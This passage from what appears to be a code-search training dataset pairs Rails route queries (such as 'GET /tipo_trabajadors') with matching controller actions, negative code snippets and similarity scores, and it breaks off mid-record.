"0.77866924",
"0.77467966",
"0.7656828",
"0.7423921",
"0.7363599",
"0.7309931",
"0.72206575",
"0.71988964",
"0.7184258",
"0.7175025",
"0.71683204",
"0.7143294",
"0.71169347",
"0.7104327",
"0.7073137",
"0.7038109",
"0.7037857",
"0.7002609",
"0.69767714",
"0.6962985",
"0.6956529",
"0.6955875",
"0.69489706",
"0.6945929",
"0.6906121",
"0.6896173",
"0.6887419",
"0.6854168",
"0.6844314",
"0.68434864",
"0.6834469",
"0.6834234",
"0.6833104",
"0.6826553",
"0.6811145",
"0.6811145",
"0.6805592",
"0.6797678",
"0.67961234",
"0.67863834",
"0.6772182",
"0.676636",
"0.6764655",
"0.6744673",
"0.67439705",
"0.67302257",
"0.66919035",
"0.66622037",
"0.66497946",
"0.6639971",
"0.6634957",
"0.6633787",
"0.6627512",
"0.6613147",
"0.6608142",
"0.6608136",
"0.6607934",
"0.65909946",
"0.658926",
"0.65865463",
"0.657859",
"0.6572837",
"0.6564994",
"0.65628403",
"0.6553991",
"0.65248144",
"0.6524529",
"0.6517431",
"0.6513765",
"0.6489778",
"0.6467007",
"0.6466026",
"0.6460921",
"0.64340556",
"0.6428232",
"0.64209735",
"0.6412211",
"0.6391309",
"0.637549",
"0.637549",
"0.6374929",
"0.6372335",
"0.6367408",
"0.6366046",
"0.63606656",
"0.6359666",
"0.6354023",
"0.6353508",
"0.6328448",
"0.6325709",
"0.6320855",
"0.63015383",
"0.63007545",
"0.629705",
"0.6287101",
"0.62849295",
"0.6279221",
"0.6279221",
"0.62777644"
] |
0.74460495
|
4
|
GET /tipo_trabajadors GET /tipo_trabajadors.json
|
def index
@tipo_trabajadors = TipoTrabajador.all
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @territorios = Territorio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @territorios }\n end\n end",
"def index\n @tutorados = Tutorado.all\n\n render json: @tutorados, status: :ok\n end",
"def index\n @trabajos = Trabajo.all\n end",
"def index\n @trabalhos = current_user.trabalhos\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @trabalhos }\n end\n end",
"def index\n @tipo_ordens = TipoOrden.all\n end",
"def index\n @orden_trabajos = OrdenTrabajo.all\n\n end",
"def set_tipo_trabajador\n @tipo_trabajador = TipoTrabajador.find(params[:id])\n end",
"def index\n @trtypes = Trtype.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @trtypes }\n end\n end",
"def index\n @turmas = Turma.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @turmas }\n end\n end",
"def index\n @tipo_fornecedors = TipoFornecedor.all\n end",
"def index\n @titulaciones = Titulacion.all\n end",
"def index\n @trabajo = Trabajo.find(params[:trabajo_id])\n @presupuestos = @trabajo.presupuestos.order(\"aprobado DESC, rechazado ASC\")\n\n add_breadcrumb @trabajo.proposito, trabajo_path(@trabajo)\n add_breadcrumb \"Presupuestos\"\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @presupuestos }\n end\n end",
"def index\n @tipovestuarios = Tipovestuario.all\n end",
"def index\n @tipoocorrencia = Tipoocorrencium.all\n end",
"def index\n \n if current_user.tipo == 2\n @receita_medicas = ReceitaMedica.where(:medico_id => current_user.id)\n elsif current_user.tipo == 1\n @receita_medicas = ReceitaMedica.where(:paciente_id => current_user.id)\n elsif current_user.tipo == 3\n @receita_medicas = Venda.receitas_medicas(current_user.id)\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @receita_medicas }\n end\n end",
"def index\n @itemtipos = Itemtipo.all\n\n render json: @itemtipos\n end",
"def index\n @tipo_usuarios = TipoUsuario.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tipo_usuarios }\n end\n end",
"def index\n\t\t @trabajos = Trabajo.all\n\t\t end",
"def index\n @tipos_personas = TipoPersona.all\n end",
"def index\n @tipo_denuncia = TipoDenuncium.all\n\n render json: @tipo_denuncia\n end",
"def index\n @tipoapreensoes = Tipoapreensao.all\n end",
"def index\n @tipo_unidades = TipoUnidad.all\n end",
"def index\n @tropas = Tropa.all\n end",
"def index\n @tamanhos = Tamanho.all\n end",
"def troca\n @remetente = Sobrevivente.where(id: params[:de]).first\n @destinatario = Sobrevivente.where(id: params[:para]).first\n\n enviar = {agua: 1, comida: 2, medicamento: 3, municao: 4}\n receber = {agua: 0, comida: 2, medicamento: 3, municao: 8}\n\n trocou = @remetente.troca(@destinatario, enviar, receber)\n\n render json: { status: trocou }\n end",
"def index\n @tipo_unidads = TipoUnidad.all\n end",
"def show\n @trabalho = Trabalho.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trabalho }\n end\n end",
"def index\n @telefonos = @persona.telefonos.find(:all, :order => \"tipo ASC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @telefonos }\n end\n end",
"def index\n @tiendas_juegos = TiendasJuego.all\n end",
"def index\n @turmas = current_colegio.turmas\n end",
"def index\n @cliente = Cliente.find(params[:cliente_id])\n @trabajos = Trabajo.where(:cliente_id => @cliente.id).paginate(:page => params[:page]).order('id DESC')\n end",
"def index\n @bolsa_trabajos = BolsaTrabajo.all\n end",
"def index\n @daw_trabajos = DawTrabajo.all\n end",
"def index\n @tecidos = Tecido.all\n end",
"def show\n @territorio = Territorio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @territorio }\n end\n end",
"def index\n @tipos = Tipo.all\n end",
"def index\n @tipos = Tipo.all\n end",
"def index\n @tacos = Taco.all\n\n respond_to do |format|\n format.html { render :index }\n format.json { render @tacos }\n end\n end",
"def index\n @traslados = Traslado.all\n end",
"def index\n @treinos = Treino.all\n end",
"def index\n @entidad_territorials = EntidadTerritorial.all\n end",
"def show\n @tipo_contrato = TipoContrato.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_contrato }\n end\n end",
"def index\n @articulos = Articulo.where(\"tipo = 'articulo'\").order(\"created_at desc\") \n @noticias = Articulo.where(\"tipo = 'noticia' and mostrar_carrusel='1'\").order(\"created_at desc\").limit(3)\n @articulos = @articulos.page(params[:page]).per_page(5)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articulos }\n end\n end",
"def index\n @tprimarytumors = Tprimarytumor.all\n respond_to do |format|\n format.html\n format.json { render :json => @tprimarytumors.map(&:attributes) }\n end\n end",
"def index\n @turista = Turistum.all\n end",
"def index\n # @transacciones = Transaccione.all\n respond_to do |format|\n format.html\n format.json { render json: TransaccionesDatatable.new(view_context) }\n end\n end",
"def index\n @tenures = Tenure.all.order(\"updated_at DESC\").order(\"created_at DESC\")\n\n render json: @tenures\n end",
"def index\n @terceros = Tercero.all\n end",
"def show\n @torso = Torso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @torso }\n end\n end",
"def tratar_datos(tipo_cuenta, total_retito)\n\n \t billete = ContarBilletes(total_retito)\n devuelve = ValorRetirado(billete ,total_retito , tipo_cuenta)\n [billete, devuelve]\n end",
"def index\n @tyres = Tyre.all\n end",
"def index\n @tyres = Tyre.all\n end",
"def index\n @tyres = Tyre.all\n end",
"def resource_params\n params.require(:tratamiento).permit(:tipo)\n end",
"def index\n @time_treinadors = TimeTreinador.where(treinador_id: @treinador.id)\n end",
"def index\n @tangazos = Tangazo.all\n end",
"def tattoos\n render :nothing => true and return if params[:id].nil?\n\n @tattoo = Tattoo.find(params[:id])\n render :json => @tattoo.to_json(:include => [:artist, :assets])\n #render :json => @tattoo.to_json(:include => { :assets => { :only => [:id, :data_file_name] } })\n return\n end",
"def index\n @tarefas = @projeto.tarefas.all(:order => \"DtTermino\")\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @tarefas }\n end\n end",
"def index\n @timerecord_types = TimerecordType.paginate(:page => params[:page], :per_page => per_page).order('id')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @timerecord_types }\n end\n end",
"def index\n @solicitacao_tipos = SolicitacaoTipo.all\n end",
"def index\n @tipotermos = Tipotermo.all\n end",
"def index\n trips = Trip.all\n render json: trips\n end",
"def index\n @tipo_usuarios = TipoUsuario.all\n end",
"def index\n @trabajadors = Trabajador.all\n render layout: \"lista_y_busca_trabajador\", template: 'layouts/blanco'\n\n end",
"def index\n @tipos_pregunta = TipoPregunta.all\n end",
"def index\n @tareas = Tarea.all\n @tareapositivas = Tarea.where(listo: true)\n end",
"def index\n @tutorias = Tutoria.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @tutorias }\n end\n end",
"def index\n @tipo_actividads = TipoActividad.all\n end",
"def index\n @recibo = Recibo.find(params[:recibo_id])\n @renglon_recdetalles = @recibo.renglon_recdetalles.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @renglon_recdetalles }\n end\n end",
"def index\n @trocaentreusuarios = Trocaentreusuario.all\n end",
"def index\n @trabajador_seccions = TrabajadorSeccion.all\n end",
"def index\n @trivia = Trivia.all\n end",
"def index\n @trips = Trip.all\n\n render json: @trips\n end",
"def index\n @trips = Trip.all\n\n render json: @trips\n end",
"def index\n @tipo_entidades = TipoEntidade.all\n end",
"def index\n @uchronias = Uchronia.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @uchronias }\n end\n end",
"def index\n @tramite_constitucionals = TramiteConstitucional.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tramite_constitucionals }\n end\n end",
"def listar()\n @client.get(Route.new([ROTA_DID]))\n end",
"def index\n # Get trips for the trip type\n trips = Trip.all.where(trip_type: params[:trip_type] || 2)\n # (optional) if city_id params was provided\n trips = trips.joins(:city).where(\"cities.id = ?\", params[:city_id]) if params[:city_id]\n # (optional) if country_id params was provided\n trips = trips.joins(:city => :country).where(\"countries.id = ?\", params[:country_id]) if params[:country_id]\n # (optional) if sort params was provided\n if params[:sort]\n \n case params[:sort].downcase\n when 'popularity' # by number of bookings\n trips = trips.most_popular\n when 'rating' # by rating of reviews\n trips = trips.best_rated\n end\n\n end\n\n # Paginate\n trips = trips.page(params[:page] || 1).per(params[:per_page] || 20)\n\n render json: {\n trips: ActiveModelSerializers::SerializableResource.new(trips, each_serializer: TripSerializer),\n total: trips.total_count,\n page: trips.current_page,\n per_page: trips.limit_value\n }\n end",
"def index\n @tipo_paradas = TipoParada.all\n end",
"def index\n @tipo_apostas = TipoAposta.all\n end",
"def index\n @tomaturnos = Tomaturno.all\n end",
"def index\n if params[:tipo_id]\n @entidades = Tipo.friendly.find(params[:tipo_id]).entidades\n else\n @entidades = Entidade.all\n end\n end",
"def index\n @anios = Ordenanza.select(:anio).uniq.map do | ord | ord.anio end\n\n @temas = Ordenanza.select(:tema).uniq.map do | ord | ord.tema end\n\n #TODO: Borrar\n @ordenanzas = Ordenanza.limit(10)\n end",
"def index\n @tutor = Tutor.all\n\n render json: @tutor, status: :ok\n end",
"def show\n @trnodo = Trnodo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trnodo }\n end\n end",
"def index\n @usuarios = Usuario.por_colegio(colegio.id).order(\"nombre\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @usuarios }\n end\n end",
"def index\n @trip_types = TripType.all\n end",
"def index\n @transportadoras = Transportadora.all\n end",
"def index\n @ofertas = Oferta.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @ofertas }\n end\n end",
"def index\n \treclamos = Reclamo.all\n \trender json: reclamos.to_json(include: [:tipo_reclamo, :ubicacion, :user], methods: [:valoracion])\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: SituacionRevistaDatatable.new(view_context, { query: SituacionRevistum.all.order(:codigo) }) }\n end\n end",
"def index\n @subcategorias = Subcategoria.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @subcategorias }\n end\n end",
"def destroy\n @tipo_trabajador.destroy\n respond_to do |format|\n format.html { redirect_to tipo_trabajadors_url }\n format.json { head :no_content }\n end\n end",
"def index\n @tamires = Tamire.all\n end",
"def index\n @tipo_mercs = TipoMerc.all\n end",
"def huertopublico\n @huerto = Huerto.find_by_agrupacion(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @huerto }\n end\n end",
"def index\n @tipo_magueyes = TipoMaguey.all\n end",
"def index\n @trips = Trip.all\n render :json => @trips\n end",
"def index\n @tintas = Tinta.all\n end"
] |
[
"0.6562359",
"0.6500437",
"0.64546704",
"0.63996834",
"0.6310231",
"0.6305107",
"0.62981945",
"0.62163496",
"0.6206355",
"0.61817247",
"0.61596525",
"0.6147515",
"0.61049557",
"0.6093744",
"0.60577226",
"0.6054802",
"0.6052211",
"0.60461366",
"0.6036726",
"0.6007146",
"0.598882",
"0.59871423",
"0.59812504",
"0.5977487",
"0.59576154",
"0.59540987",
"0.5944258",
"0.59364825",
"0.5927417",
"0.59246355",
"0.59206295",
"0.591917",
"0.59120905",
"0.5889438",
"0.58766526",
"0.58664906",
"0.58664906",
"0.5856625",
"0.5835926",
"0.5826242",
"0.58213574",
"0.5812317",
"0.5811451",
"0.58078945",
"0.58020806",
"0.57954484",
"0.57919884",
"0.5782214",
"0.5769431",
"0.5767144",
"0.5750857",
"0.5750857",
"0.5750857",
"0.5744635",
"0.5735025",
"0.5726732",
"0.57247806",
"0.5714882",
"0.5714541",
"0.57119364",
"0.570359",
"0.56994474",
"0.5697954",
"0.5697526",
"0.5689986",
"0.568722",
"0.56827664",
"0.5678622",
"0.5677318",
"0.5675919",
"0.5672427",
"0.5672387",
"0.5665634",
"0.5665634",
"0.5662835",
"0.5660887",
"0.5658775",
"0.56585455",
"0.56568885",
"0.56568277",
"0.56555116",
"0.5651747",
"0.56437135",
"0.5639139",
"0.5635057",
"0.5625608",
"0.56198263",
"0.56175274",
"0.56153166",
"0.56124634",
"0.56120574",
"0.56103355",
"0.5606935",
"0.5606644",
"0.5603443",
"0.55926454",
"0.55888957",
"0.5586296",
"0.55851734",
"0.5581414"
] |
0.7252939
|
0
|
GET /tipo_trabajadors/1 GET /tipo_trabajadors/1.json
|
def show
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @tipo_trabajadors = TipoTrabajador.all\n end",
"def set_tipo_trabajador\n @tipo_trabajador = TipoTrabajador.find(params[:id])\n end",
"def index\n @territorios = Territorio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @territorios }\n end\n end",
"def index\n @trabajos = Trabajo.all\n end",
"def index\n @trabalhos = current_user.trabalhos\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @trabalhos }\n end\n end",
"def index\n @tutorados = Tutorado.all\n\n render json: @tutorados, status: :ok\n end",
"def show\n @trabalho = Trabalho.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trabalho }\n end\n end",
"def index\n @trabajo = Trabajo.find(params[:trabajo_id])\n @presupuestos = @trabajo.presupuestos.order(\"aprobado DESC, rechazado ASC\")\n\n add_breadcrumb @trabajo.proposito, trabajo_path(@trabajo)\n add_breadcrumb \"Presupuestos\"\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @presupuestos }\n end\n end",
"def show\n @tipo_contrato = TipoContrato.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_contrato }\n end\n end",
"def troca\n @remetente = Sobrevivente.where(id: params[:de]).first\n @destinatario = Sobrevivente.where(id: params[:para]).first\n\n enviar = {agua: 1, comida: 2, medicamento: 3, municao: 4}\n receber = {agua: 0, comida: 2, medicamento: 3, municao: 8}\n\n trocou = @remetente.troca(@destinatario, enviar, receber)\n\n render json: { status: trocou }\n end",
"def index\n @turmas = Turma.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @turmas }\n end\n end",
"def index\n @orden_trabajos = OrdenTrabajo.all\n\n end",
"def show\n @territorio = Territorio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @territorio }\n end\n end",
"def index\n @trtypes = Trtype.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @trtypes }\n end\n end",
"def index\n @itemtipos = Itemtipo.all\n\n render json: @itemtipos\n end",
"def index\n @tipo_denuncia = TipoDenuncium.all\n\n render json: @tipo_denuncia\n end",
"def index\n \n if current_user.tipo == 2\n @receita_medicas = ReceitaMedica.where(:medico_id => current_user.id)\n elsif current_user.tipo == 1\n @receita_medicas = ReceitaMedica.where(:paciente_id => current_user.id)\n elsif current_user.tipo == 3\n @receita_medicas = Venda.receitas_medicas(current_user.id)\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @receita_medicas }\n end\n end",
"def index\n @tipo_usuarios = TipoUsuario.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tipo_usuarios }\n end\n end",
"def index\n @tipo_ordens = TipoOrden.all\n end",
"def index\n @cliente = Cliente.find(params[:cliente_id])\n @trabajos = Trabajo.where(:cliente_id => @cliente.id).paginate(:page => params[:page]).order('id DESC')\n end",
"def index\n @titulaciones = Titulacion.all\n end",
"def show\n @tipo_pregunta = TipoPregunta.find(params[:id])\n\n render json: @tipo_pregunta\n end",
"def show\n @trnodo = Trnodo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trnodo }\n end\n end",
"def show\n @torso = Torso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @torso }\n end\n end",
"def index\n # @transacciones = Transaccione.all\n respond_to do |format|\n format.html\n format.json { render json: TransaccionesDatatable.new(view_context) }\n end\n end",
"def index\n\t\t @trabajos = Trabajo.all\n\t\t end",
"def index\n @tipo_fornecedors = TipoFornecedor.all\n end",
"def index\n @telefonos = @persona.telefonos.find(:all, :order => \"tipo ASC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @telefonos }\n end\n end",
"def index\n @tipoocorrencia = Tipoocorrencium.all\n end",
"def show\n @tipo_tel = TipoTel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_tel }\n end\n end",
"def index\n @tipovestuarios = Tipovestuario.all\n end",
"def index\n @tipos_personas = TipoPersona.all\n end",
"def huertopublico\n @huerto = Huerto.find_by_agrupacion(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @huerto }\n end\n end",
"def index\n @tipoapreensoes = Tipoapreensao.all\n end",
"def set_trabajo\n @trabajo = Trabajo.find(params[:id])\n end",
"def set_trabajo\n @trabajo = Trabajo.find(params[:id])\n end",
"def set_trabajo\n @trabajo = Trabajo.find(params[:id])\n end",
"def index\n @subcategorias = Subcategoria.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @subcategorias }\n end\n end",
"def show\n @trlocalidad = Trlocalidad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trlocalidad }\n end\n end",
"def index\n @recibo = Recibo.find(params[:recibo_id])\n @renglon_recdetalles = @recibo.renglon_recdetalles.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @renglon_recdetalles }\n end\n end",
"def index\n @bolsa_trabajos = BolsaTrabajo.all\n end",
"def index\n @daw_trabajos = DawTrabajo.all\n end",
"def index\n @tenures = Tenure.all.order(\"updated_at DESC\").order(\"created_at DESC\")\n\n render json: @tenures\n end",
"def index\n @tamanhos = Tamanho.all\n end",
"def index\n @tprimarytumors = Tprimarytumor.all\n respond_to do |format|\n format.html\n format.json { render :json => @tprimarytumors.map(&:attributes) }\n end\n end",
"def index\n @detalle_orden_trabajos = DetalleOrdenTrabajo.all\n @detalle_orden_trabajos.repuesto_servicio = RepuestoServicio.first\n end",
"def set_trabajador\n @trabajador = Trabajador.find(params[:id])\n end",
"def index\n @ofertas = Oferta.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @ofertas }\n end\n end",
"def set_trabajo\n\t\t @trabajo = Trabajo.find(params[:id])\n\t\t end",
"def resource_params\n params.require(:tratamiento).permit(:tipo)\n end",
"def destroy\n @tipo_trabajador.destroy\n respond_to do |format|\n format.html { redirect_to tipo_trabajadors_url }\n format.json { head :no_content }\n end\n end",
"def index\n @articulos = Articulo.where(\"tipo = 'articulo'\").order(\"created_at desc\") \n @noticias = Articulo.where(\"tipo = 'noticia' and mostrar_carrusel='1'\").order(\"created_at desc\").limit(3)\n @articulos = @articulos.page(params[:page]).per_page(5)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articulos }\n end\n end",
"def index\n @tacos = Taco.all\n\n respond_to do |format|\n format.html { render :index }\n format.json { render @tacos }\n end\n end",
"def show\n @tipo_actividad = TipoActividad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_actividad }\n end\n end",
"def show\n @tecnico = Tecnico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tecnico }\n end\n end",
"def show\n @tecnico = Tecnico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tecnico }\n end\n end",
"def index\n @tarefas = @projeto.tarefas.all(:order => \"DtTermino\")\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @tarefas }\n end\n end",
"def show\n @requerimiento ||= Requerimiento.where(:numero => params[:id]).first\n @areas = Area.where(\" nombre like '%DIT%' \")\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @requerimiento }\n end\n end",
"def index\n @tipo_unidades = TipoUnidad.all\n end",
"def show\n @articulo = Articulo.find(params[:id])\n @noticias = Articulo.where(\"tipo = 'noticia'\").order(\"created_at desc\")\n @title = @articulo.titulo\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @articulo }\n end\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: SituacionRevistaDatatable.new(view_context, { query: SituacionRevistum.all.order(:codigo) }) }\n end\n end",
"def index\n @tramite_constitucionals = TramiteConstitucional.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tramite_constitucionals }\n end\n end",
"def getOrden \n \t@orden = Orden.where(:rest => params[:id_res])\n \trender json: @orden\n end",
"def index\n @tropas = Tropa.all\n end",
"def show\n @tipo_atendimento = TipoAtendimento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_atendimento }\n end\n end",
"def index\n @tiendas_juegos = TiendasJuego.all\n end",
"def index\n @tipo_unidads = TipoUnidad.all\n end",
"def index\n trips = Trip.all\n render json: trips\n end",
"def index\n @turmas = current_colegio.turmas\n end",
"def index\n @tecidos = Tecido.all\n end",
"def index\n @status_del_tramite_de_becas = StatusDelTramiteDeBeca.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @status_del_tramite_de_becas }\n end\n end",
"def index\n @traslados = Traslado.all\n end",
"def show\n @tecnico = Tecnico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @tecnico }\n end\n end",
"def tattoos\n render :nothing => true and return if params[:id].nil?\n\n @tattoo = Tattoo.find(params[:id])\n render :json => @tattoo.to_json(:include => [:artist, :assets])\n #render :json => @tattoo.to_json(:include => { :assets => { :only => [:id, :data_file_name] } })\n return\n end",
"def show\n @turma = Turma.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @turma }\n end\n end",
"def show\n @tipo_usuario = TipoUsuario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_usuario }\n end\n end",
"def create\n @tipo_trabajador = TipoTrabajador.new(tipo_trabajador_params)\n\n respond_to do |format|\n if @tipo_trabajador.save\n format.html { redirect_to @tipo_trabajador, notice: 'Tipo trabajador was successfully created.' }\n format.json { render :show, status: :created, location: @tipo_trabajador }\n else\n format.html { render :new }\n format.json { render json: @tipo_trabajador.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @trips = Trip.all\n\n render json: @trips\n end",
"def index\n @trips = Trip.all\n\n render json: @trips\n end",
"def show\n @tipo_vehiculo = TipoVehiculo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_vehiculo }\n end\n end",
"def index\n @tipos = Tipo.all\n end",
"def index\n @tipos = Tipo.all\n end",
"def index\n respond_to do |format|\n format.html\n format.json { render json: TipoDocumentoDatatable.new(view_context, { query: TipoDocumento.all.order(:codigo) }) }\n end\n end",
"def index\n @uchronias = Uchronia.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @uchronias }\n end\n end",
"def index\n @categorias = Categoria.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @categorias }\n end\n end",
"def index\n @notadedebito = Notadedebito.find(params[:notadecredito_id])\n @renglon_notadebitos = @notadedebito.renglon_notadebitos\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @renglon_notadebitos }\n end\n end",
"def index\n @trips = Trip.desc.all\n @latest_trip = @trips.first\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @trips }\n end\n end",
"def index\n @turista = Turistum.all\n end",
"def index\n @trabajadors = Trabajador.all\n render layout: \"lista_y_busca_trabajador\", template: 'layouts/blanco'\n\n end",
"def index\n @usuarios = Usuario.por_colegio(colegio.id).order(\"nombre\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @usuarios }\n end\n end",
"def tratar_datos(tipo_cuenta, total_retito)\n\n \t billete = ContarBilletes(total_retito)\n devuelve = ValorRetirado(billete ,total_retito , tipo_cuenta)\n [billete, devuelve]\n end",
"def index\n @tangazos = Tangazo.all\n end",
"def show\n @tetramod = Tetramod.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tetramod }\n end\n end",
"def index\n # Get trips for the trip type\n trips = Trip.all.where(trip_type: params[:trip_type] || 2)\n # (optional) if city_id params was provided\n trips = trips.joins(:city).where(\"cities.id = ?\", params[:city_id]) if params[:city_id]\n # (optional) if country_id params was provided\n trips = trips.joins(:city => :country).where(\"countries.id = ?\", params[:country_id]) if params[:country_id]\n # (optional) if sort params was provided\n if params[:sort]\n \n case params[:sort].downcase\n when 'popularity' # by number of bookings\n trips = trips.most_popular\n when 'rating' # by rating of reviews\n trips = trips.best_rated\n end\n\n end\n\n # Paginate\n trips = trips.page(params[:page] || 1).per(params[:per_page] || 20)\n\n render json: {\n trips: ActiveModelSerializers::SerializableResource.new(trips, each_serializer: TripSerializer),\n total: trips.total_count,\n page: trips.current_page,\n per_page: trips.limit_value\n }\n end",
"def index\n \treclamos = Reclamo.all\n \trender json: reclamos.to_json(include: [:tipo_reclamo, :ubicacion, :user], methods: [:valoracion])\n end",
"def show\n @tipo_pensum = TipoPensum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_pensum }\n end\n end",
"def show\n @tarefa = Tarefa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tarefa }\n end\n end",
"def index\n @cooperativas = Cooperativa.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @cooperativas }\n end\n end",
"def index\n @ruas = Rua.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ruas }\n end\n end",
"def index\n @treinos = Treino.all\n end",
"def index\n @trips = Trip.all\n render :json => @trips\n end"
] |
[
"0.7104367",
"0.66184956",
"0.65020293",
"0.64033294",
"0.6400978",
"0.6352777",
"0.63370687",
"0.6297046",
"0.62849295",
"0.6217141",
"0.6176439",
"0.6155556",
"0.6155483",
"0.6123801",
"0.61114955",
"0.6108812",
"0.6104833",
"0.6070155",
"0.6040697",
"0.6033544",
"0.6026104",
"0.601535",
"0.5985689",
"0.59761745",
"0.597016",
"0.5954969",
"0.59486395",
"0.59451276",
"0.5939865",
"0.5929037",
"0.5910453",
"0.5888436",
"0.5887258",
"0.587947",
"0.5878637",
"0.5878637",
"0.5878637",
"0.5876062",
"0.5868868",
"0.58618695",
"0.5856086",
"0.58537775",
"0.58512044",
"0.5843524",
"0.5843522",
"0.58312815",
"0.5821604",
"0.5815819",
"0.5807453",
"0.58033806",
"0.579761",
"0.5797284",
"0.57965434",
"0.57953113",
"0.5791343",
"0.5791343",
"0.5782839",
"0.577685",
"0.5774354",
"0.57668287",
"0.57664084",
"0.5758274",
"0.57522196",
"0.57513803",
"0.574587",
"0.5742904",
"0.5739943",
"0.5735692",
"0.5735058",
"0.5734473",
"0.5732362",
"0.5731838",
"0.57243717",
"0.5721588",
"0.57203007",
"0.5717484",
"0.5716754",
"0.57051104",
"0.57051104",
"0.57035613",
"0.5702123",
"0.5702123",
"0.56958485",
"0.5695519",
"0.5692694",
"0.5688142",
"0.56850183",
"0.567925",
"0.567147",
"0.5661123",
"0.5659268",
"0.56588006",
"0.5653656",
"0.5646723",
"0.5640821",
"0.5637989",
"0.5637219",
"0.5635633",
"0.56302845",
"0.56291145",
"0.5621666"
] |
0.0
|
-1
|
POST /tipo_trabajadors POST /tipo_trabajadors.json
|
def create
@tipo_trabajador = TipoTrabajador.new(tipo_trabajador_params)
respond_to do |format|
if @tipo_trabajador.save
format.html { redirect_to @tipo_trabajador, notice: 'Tipo trabajador was successfully created.' }
format.json { render :show, status: :created, location: @tipo_trabajador }
else
